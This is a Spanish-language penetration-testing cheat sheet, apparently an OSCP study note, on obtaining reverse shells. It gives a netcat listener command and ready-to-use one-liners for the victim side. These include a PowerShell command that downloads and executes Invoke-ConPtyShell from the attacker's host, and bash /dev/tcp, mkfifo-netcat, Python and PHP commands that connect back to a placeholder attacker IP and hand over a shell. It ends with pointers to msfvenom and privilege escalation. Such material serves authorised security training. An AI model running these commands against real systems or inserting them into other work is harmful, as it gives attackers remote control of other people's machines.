# Reverse shell > El foothold: la víctima se conecta de vuelta a tu listener. Recíbela en el Puesto de mando Kali. ## Listener (Kali) ```bash nc -lvnp 4444 # clásico # para Windows ConPtyShell, estabilizado: stty raw -echo; (stty size; cat) | nc -lvnp 4444 ``` ## Disparo en la víctima ### Windows (PowerShell, interactiva con ConPtyShell) ```powershell IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444 ``` El script se sirve desde tu HTTP (Transferencia de ficheros). ### Linux (varios lenguajes) ```bash bash -i >& /dev/tcp/TU_IP/4444 0>&1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TU_IP 4444 >/tmp/f # nc sin -e python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")' perl -e 'use Socket;...' # cuando solo hay perl php -r '$s=fsockopen("TU_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' ``` > Más payloads (war/aspx/jsp, x64, encoders) → genera con msfvenom. Referencia viva: revshells.com. ## Después - **Estabiliza** la shell → Estabilizar shell TTY. - Si no conecta, sospecha Egress filtering (prueba 80, 443, 53, 4444). - Luego: PEASS-ng → Privesc Linux / Privesc Windows. Relacionado: Egress filtering · msfvenom · Metasploit · OSCP MOC